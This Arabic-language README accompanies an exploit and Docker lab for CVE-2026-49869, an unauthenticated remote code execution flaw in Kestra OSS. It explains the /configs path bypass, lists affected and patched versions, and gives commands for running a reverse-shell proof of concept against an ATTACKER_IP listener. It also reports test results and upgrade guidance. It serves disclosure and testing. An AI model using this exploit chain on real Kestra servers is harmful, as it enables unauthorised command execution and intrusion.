
PoC ومختبر Docker لـ CVE-2026-49869، وهو RCE غير مُصادَق عليه في Kestra OSS عبر تجاوز مسار AuthenticationFilter الذي يسمح بإنشاء التدفقات وتنفيذ الأوامر.
★إثبات مفهوم ومختبر Docker لتجاوز المصادقة في AuthenticationFilter الخاص بـ Kestra OSS★
شغّل هذا المختبر فقط على الأنظمة التي تتحكم بها. قد يؤدي مثال
-p 8080:8080إلى نشر واجهة API المعرّضة للثغرة على جميع واجهات المضيف؛ احجب الوصول من الشبكات الأخرى.
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
يستخدم Kestra المصادقة الأساسية (Basic Auth) لحماية واجهة API الخاصة به. في إصدارات OSS المتأثرة، يعامل AuthenticationFilter أي مسار طلب ينتهي بـ /configs كمسار تكوين عام. لذلك يمكن لعميل غير مُصادَق إنشاء تدفق (flow) باسم configs ثم تنفيذه عبر مسارات API تنتهي كلها بـ /configs. يمكن لمهمة shell في ذلك التدفق تنفيذ أوامر داخل حاوية عامل Kestra. وُصف الخلل وسلسلة تنفيذ التعليمات البرمجية عن بُعد في الاستشارة الأمنية الخاصة بـ Kestra.
| فرع Kestra OSS | الإصدارات المعرّضة للثغرة | أول إصدار مُصحّح |
|---|---|---|
| 1.0.x وما قبله | قبل 1.0.45 | 1.0.45 |
| 1.1.x–1.3.x | من 1.1.0 حتى 1.3.20 | 1.3.21 |
يستخدم المختبر الإصدار v1.3.20 مع تمكين المصادقة الأساسية OSS. تؤثر المشكلة في مسار المصادقة هذا عندما تكون واجهة Kestra API قابلة للوصول؛ والصورة المحلية مبنية على kestra/kestra:v1.3.20.
/configs أو تعديلها؛ كما تصف الاستشارة هجوم SSRF عبر قالب سير عمل.صلاحيات الحاوية لا تعني صلاحيات المضيف.
يجب أن يحتوي المستودع على Dockerfile وentrypoint.sh وpoc.py إلى جانب هذا الـ README. يلزم Docker لتشغيل الهدف؛ ويلزم Python 3 لتشغيل إثبات المفهوم. لا حاجة لتثبيت أي حزم Python.
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
يمكّن entrypoint.sh المصادقة الأساسية بحساب مخصص للمختبر فقط:
| اسم المستخدم | كلمة المرور |
|---|---|
[email protected] | Eqst123! |
يتطلب Kestra اسم مستخدم بصيغة بريد إلكتروني وكلمة مرور لا تقل عن ثمانية أحرف وتحتوي على أحرف كبيرة وصغيرة ورقم. نُشرت بيانات الاعتماد هذه للاختبار المحلي فقط.
انتظر حتى يُرجع الطلب الأول 200. يجب أن يُرجع الطلب الثاني 401، مما يُظهر أن المصادقة الأساسية تحمي مسار API عادي:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
إذا كانت هناك حاوية متوقفة تحمل الاسم نفسه، استخدم docker start cve-2026-49869-lab لإعادة استخدامها، أو احذف تلك الحاوية قبل إنشاء حاوية جديدة باستخدام docker run.
يرسل السكربت طلبين دون بيانات اعتماد: الأول ينشئ أو يحدّث configs/configs بمهمة shell، والثاني يبدأ تنفيذها. لا حاجة لأي تدفق موجود أنشأه المستخدم. يؤدي تشغيل السكربت مرة أخرى إلى استبدال تدفق المختبر بالاسم نفسه.
أولاً، ابدأ مستمعًا على الجهاز الذي سيستقبل اتصال shell:
nc -lvnp LISTENER_PORT
ثم شغّل إثبات المفهوم من الدليل الذي يحتوي على poc.py:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
بالنسبة لمختبر Docker على الجهاز نفسه، استبدل TARGET بـ 127.0.0.1. اضبط ATTACKER_IP على عنوان IPv4 يمكن للحاوية الوصول إليه؛ لا يبدأ السكربت المستمع. يطبع السكربت استجابة التنفيذ، بما في ذلك معرّف التنفيذ. يلزم وجود اتصال عند المستمع للتأكد من نجاح الـ reverse shell نفسه.
استخدم الاختبار المحلي المسجّل مهمة Log غير ضارة للتحقق من تجاوز المصادقة وتنفيذ سير العمل. ولم يشغّل حمولة الـ reverse shell.
| الفحص | v1.3.20 | v1.3.21 |
|---|---|---|
| واجهة API محمية عادية، دون بيانات اعتماد | 401 | 401 |
إنشاء تدفق configs، دون بيانات اعتماد | 200 | 401 |
بدء تنفيذ configs، دون بيانات اعتماد | 200 | 401 |
| مهمة غير ضارة على الإصدار المعرّض للثغرة | SUCCESS، علامة في السجلات | — |
لا يُعد استدعاء الـ reverse shell جزءًا من هذه النتائج المسجّلة.
قم بالترقية إلى 1.0.45 على الأقل في فرع 1.0.x أو إلى 1.3.21 في فروع 1.1.x–1.3.x. يقوم الإصلاح في المصدر الأصلي بتطبيع المسار والتحقق من مسار التكوين العام الدقيق بدلاً من قبول كل لاحقة /configs. حتى اكتمال الترقية، قيّد الوصول إلى واجهة Kestra API واسمح بالوصول دون مصادقة فقط للمسار العام المقصود عبر وكيل (proxy).
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab